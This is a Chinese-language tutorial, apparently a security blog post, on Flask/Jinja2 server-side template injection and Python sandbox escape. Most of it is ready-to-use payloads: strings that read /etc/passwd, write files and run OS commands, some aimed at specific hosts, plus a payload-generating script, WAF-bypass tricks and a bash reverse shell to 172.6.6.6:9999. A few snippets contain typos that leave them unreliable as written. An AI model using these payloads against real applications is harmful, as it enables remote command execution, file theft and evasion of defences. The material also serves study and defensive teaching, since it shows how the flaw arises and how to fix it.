python-Flask模版注入攻击SSTI(python沙盒逃逸)

一篇以python Flask 模版渲染为例子的SSTI注入教学~

0x01 Flask使用和渲染

这里简化了flask使用和渲染的教程只把在安全中我们需要关注的部分写出来

来一段最简单的FLASK运行代码:

很简单的flask使用将url的qing和方法绑定返回"qing - Flask test"字符串

说一下模版渲染Jinja2中变量

控制结构 {% %}
变量取值 {{ }}
注释 {# #}

jinja2模板中使用 {{ }} 语法表示一个变量，它是一种特殊的占位符。当利用jinja2进行渲染的时候，它会把这些特殊的占位符进行填充/替换，jinja2支持python中所有的Python数据类型比如列表、字段、对象等

inja2中的过滤器可以理解为是jinja2里面的内置函数和字符串处理函数。

被两个括号包裹的内容会输出其表达式的值

再来看看ssti中我们需要关注的渲染方法和模版

flask的渲染方法有render_template和render_template_string两种

render_template()用来渲染指定的文件:

return render_template('index.html')

render_template_string则是用来渲染字符串

html = '<h1>This is a String</h1>'
return render_template_string(html)

模板

flask使用Jinja2来作为渲染引擎的

在网站的根目录下新建templates文件夹，这里是用来存放html文件。也就是模板文件。

qing.html:

访问localhost/qing 后flask会渲染出模版:

而在我们SSTI注入场景中模版都是有变量进行渲染的。

例如我这里渲染方法进行传参模版进行动态的渲染

from flask import Flask,url_for,redirect,render_template,render_template_string
 
app = Flask(__name__)
 
@app.route('/qing')
def hello_world():
    return render_template('qing.html',string="qing qing qing")
 
if __name__ == '__main__':
    app.run()

qing.html：

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Flask</title>
</head>
<body>
<h1>{{string}}</h1>
</body>
</html>

基本使用大致就这样吧接下来看看SSTI注入形成和利用。

0x02 python沙盒逃逸

ssti中会设计到python的沙盒逃逸不会的弟弟和我一样挨打学着

沙箱：

沙箱是一种按照安全策略限制程序行为的执行环境。早期主要用于测试可疑软件等，比如黑客们为了试用某种病毒或者不安全产品，往往可以将它们在沙箱环境中运行。
　　经典的沙箱系统的实现途径一般是通过拦截系统调用，监视程序行为，然后依据用户定义的策略来控制和限制程序对计算机资源的使用，比如改写注册表，读写磁盘等。

沙箱逃逸,就是在给我们的一个代码执行环境下(Oj或使用socat生成的交互式终端),脱离种种过滤和限制,最终成功拿到shell权限的过程。其实就是闯过重重黑名单，最终拿到系统命令执行权限的过程。

内建名称空间 builtins

在启动Python解释器之后，即使没有创建任何的变量或者函数，还是会有许多函数可以使用，这些函数就是内建函数，并不需要我们自己做定义，而是在启动python解释器的时候，就已经导入到内存中供我们使用

名称空间

它是从名称到对象的映射，而在python程序的执行过程中，至少会存在两个名称空间

内建名称空间
全局名称空间

还有介绍的就是python中的重要的魔术方法

__class__ 返回类型所属的对象
 
__mro__ 返回一个包含对象所继承的基类元组，方法在解析时按照元组的顺序解析。 
 
__base__ 返回该对象所继承的基类 // __base__和__mro__都是用来寻找基类的 
 
__subclasses__ 每个新类都保留了子类的引用，这个方法返回一个类中仍然可用的的引用的列表 
 
__init__ 类的初始化方法 
 
__globals__ 对包含函数全局变量的字典的引用

有这些类继承的方法，我们就可以从任何一个变量，顺藤摸瓜到基类中去，再获得到此基类所有实现的类，然后再通过实现类调用相应的成员变量函数这里就是沙盒逃逸的基本流程了。

python中一切均为对象，均继承object对象

''.__class__.__mro__[-1] 
 
>>>[].__class__.__bases__[0]
<type 'object'>
>>>''.__class__.__mro__[-1]
<type 'object'>

获取字符串的类对象

''.__class__
<type 'str'>

寻找基类

 ''.__class__.__mro__
(<type 'str'>, <type 'basestring'>, <type 'object'>)

查看实现类和成员

''.__class__.__mro__[1].__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>]

例如我要使用os模块执行命令

首先获取 warnings.catch_warnings 在 object 类中的位置

import warnings
[].__class__.__base__.__subclasses__().index(warnings.catch_warnings)
60
[].__class__.__base__.__subclasses__()[60]
<class 'warnings.catch_warnings'>
[].__class__.__base__.__subclasses__()[60].__init__.func_globals.keys()
['filterwarnings', 'once_registry', 'WarningMessage', '_show_warning', 'filters', '_setoption', 'showwarning', '__all__', 'onceregistry', '__package__', 'simplefilter', 'default_action', '_getcategory', '__builtins__', 'catch_warnings', '__file__', 'warnpy3k', 'sys', '__name__', 'warn_explicit', 'types', 'warn', '_processoptions', 'defaultaction', '__doc__', 'linecache', '_OptionError', 'resetwarnings', 'formatwarning', '_getaction']

查看 linecache(操作文件的函数）

`[].__class__.__base__.__subclasses__([60].__init__.func_globals['linecache'].__dict__.keys()`
`['updatecache', 'clearcache', '__all__', '__builtins__', '__file__', 'cache', 'checkcache', 'getline', '__package__', 'sys', 'getlines', '__name__', 'os', '__doc__']`

可以看到这里调用了 os 模块, 所以可以直接调用 os 模块

a=[].__class__.__base__.__subclasses__()[60].__init__.func_globals['linecache'].__dict__.values()[12]
 
a
<module 'os' from '*****\python27\lib\os.pyc'>

接着要调用 os 的 system 方法, 先查看 system 的位置:

a.__dict__.keys().index('system')
79
a.__dict__.keys()[79]
'system'
b=a.__dict__.values()[79]
b
<built-in function system>
b('whoami')

0x03 Python模版注入SSTI

    code = request.args.get('ssti')
    html = '''
        <h1>qing -SSIT</h1>
        <h2>The ssti is </h2>
            <h3>%s</h3>
        ''' % (code)
    return render_template_string(html)

这里把ssti变量动态的输出在%s,然后进过render_template_string渲染模版，单独ssti注入成因就在这里。

这里前端输出了 XSS问题肯定是存在的

http://127.0.0.1:5000/qing?ssti=%3Cscript%3Ealert(/qing/)%3C/script%3E

继续SSTI注入前面说了Jinja2变量解析

控制结构 {% %}
变量取值 {{ }}
注释 {# #}

我们这里进行变量测试

http://127.0.0.1:5000/qing?ssti={{2*2}}

flask中也有一些全局变量

http://127.0.0.1:5000/qing?ssti={{config}}

防止SSTI注入的最简单方法

code = request.args.get('ssti')
    html = '''
        <h1>qing -SSIT</h1>
        <h2>The ssti is </h2>
            <h3>{{code}}</h3>
        '''
    return render_template_string(html)

将template 中的 ”’<h3> %s!</h3>”’ % code更改为 ”’<h3>{{code}}</h3>”’ ，这样以来，Jinja2在模板渲染的时候将request.url的值替换掉{{code}}, 而不会对code内容进行二次渲染

这样即使code中含有{{}}也不会进行渲染，而只是把它当做普通字符串

python2

文件读取和写入

#读文件
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
#写文件
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/1').write("") }}

任意执行

{{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg','w').write('code')}}
{{ config.from_pyfile('/tmp/owned.cfg') }}

{{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg','w').write('from subprocess import check_output\n\nRUNCMD = check_output\n')}}
{{ config.from_pyfile('/tmp/owned.cfg') }}
{{ config['RUNCMD']('/usr/bin/id',shell=True) }}

无回显

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']('1+1')}}
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').system('whoami')")}}

任意执行只需要一条指令

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}}(这条指令可以注入，但是如果直接进入python2打这个poc，会报错，用下面这个就不会，可能是python启动会加载了某些模块)
http://39.105.116.195/{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}(system函数换为popen('').read()，需要导入os模块)
{{().__class__.__bases__[0].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}(不需要导入os模块，直接从别的模块调用)

python3

python3没有file了，只有open

`文件读取`

{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__[%27open%27](%27/etc/passwd%27).read()}}

http://www.qing-sec.com:8000/?name={{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__[%27open%27](%27/etc/passwd%27).read()}}

执行命令

{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('id').read()")}}


http://www.qing-sec.com:8000/?name={{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('id').read()")}}


http://www.qing-sec.com:8000/?name={{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}}

命令执行

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}

http://www.qing-sec.com:8000/?name={% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('uname').read()") }}{% endif %}{% endfor %}

文件操作

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}

http://www.qing-sec.com:8000/?name={% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/etc/passwd', 'r').read() }}{% endif %}{% endfor %}

0x04 Tips&&Waf SSTI Bypass

一个个寻找函数太麻烦了这里有脚本寻找需要的function

#!/usr/bin/python3
# coding=utf-8
# python 3.5
from flask import Flask
from jinja2 import Template
# Some of special names
searchList = ['__init__', "__new__", '__del__', '__repr__', '__str__', '__bytes__', '__format__', '__lt__', '__le__', '__eq__', '__ne__', '__gt__', '__ge__', '__hash__', '__bool__', '__getattr__', '__getattribute__', '__setattr__', '__dir__', '__delattr__', '__get__', '__set__', '__delete__', '__call__', "__instancecheck__", '__subclasscheck__', '__len__', '__length_hint__', '__missing__','__getitem__', '__setitem__', '__iter__','__delitem__', '__reversed__', '__contains__', '__add__', '__sub__','__mul__']
neededFunction = ['eval', 'open', 'exec']
pay = int(input("Payload?[1|0]"))
for index, i in enumerate({}.__class__.__base__.__subclasses__()):
    for attr in searchList:
        if hasattr(i, attr):
            if eval('str(i.'+attr+')[1:9]') == 'function':
                for goal in neededFunction:
                    if (eval('"'+goal+'" in i.'+attr+'.__globals__["__builtins__"].keys()')):
                        if pay != 1:
                            print(i.__name__,":", attr, goal)
                        else:
                            print("{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='" + i.__name__ + "' %}{{ c." + attr + ".__globals__['__builtins__']." + goal + "(\"[evil]\") }}{% endif %}{% endfor %}")

输出

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='_Unframer' %}{{ c.__init__.__globals__['__builtins__'].exec("[evil]") }}{% endif %}{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='ImmutableDictMixin' %}{{ c.__hash__.__globals__['__builtins__'].eval("[evil]") }}{% endif %}{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='ImmutableDictMixin' %}{{ c.__hash__.__globals__['__builtins__'].open("[evil]") }}{% endif %}{% endfor %}

执行

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='ImmutableDictMixin' %}{{ c.__hash__.__globals__['__builtins__'].eval('__import__("os").popen("id").read()') }}{% endif %}{% endfor %}

当有的字符串被 waf 的时候可以通过编码或者字符串拼接绕过

base64:

().__class__.__bases__[0].__subclasses__()[40]('r','ZmxhZy50eHQ='.decode('base64')).read()
 
().__class__.__bases__[0].__subclasses__()[40]('r','flag.txt')).read()

字符串拼接:

().__class__.__bases__[0].__subclasses__()[40]('r','fla'+'g.txt')).read()
 
().__class__.__bases__[0].__subclasses__()[40]('r','flag.txt')).read()

reload：

del __builtins__.__dict__['__import__'] # __import__ is the function called by the import statement
 
del __builtins__.__dict__['eval'] # evaluating code could be dangerous
del __builtins__.__dict__['execfile'] # likewise for executing the contents of a file
del __builtins__.__dict__['input'] # Getting user input and evaluating it might be dangerous

当没有过滤reload函数时，我们可以

重载builtins

reload(__builtins__)

即可恢复删除的函数。

当不能通过[].class.base.subclasses([60].init.func_globals[‘linecache’].dict.values()[12]直接加载 os 模块
这时候可以使用getattribute+ 字符串拼接 / base64 绕过例如:

[].__class__.__base__.__subclasses__()[60].__init__.__getattribute__('func_global'+'s')['linecache'].__dict__.values()[12]
 
[].__class__.__base__.__subclasses__()[60].__init__.func_globals['linecache'].__dict__.values()[12]

绕过waf一些payload:

python2：
[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].system('ls')
[].__class__.__base__.__subclasses__()[76].__init__.__globals__['os'].system('ls')
"".__class__.__mro__[-1].__subclasses__()[60].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')
"".__class__.__mro__[-1].__subclasses__()[61].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')
"".__class__.__mro__[-1].__subclasses__()[40](filename).read()
"".__class__.__mro__[-1].__subclasses__()[29].__call__(eval,'os.system("ls")')
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('func_global'+'s')['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('bash -c "bash -i >& /dev/tcp/172.6.6.6/9999 0>&1"')
 
python3：
''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.values()[13]['eval']
"".__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['__builtins__']['eval']
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('__global'+'s__')['os'].__dict__['system']('ls')

参考链接:

https://www.freebuf.com/vuls/162752.html

https://bbs.ichunqiu.com/thread-47685-1-1.html?from=aqzx8

https://www.freebuf.com/articles/web/98619.html

https://blog.csdn.net/JBlock/article/details/82938656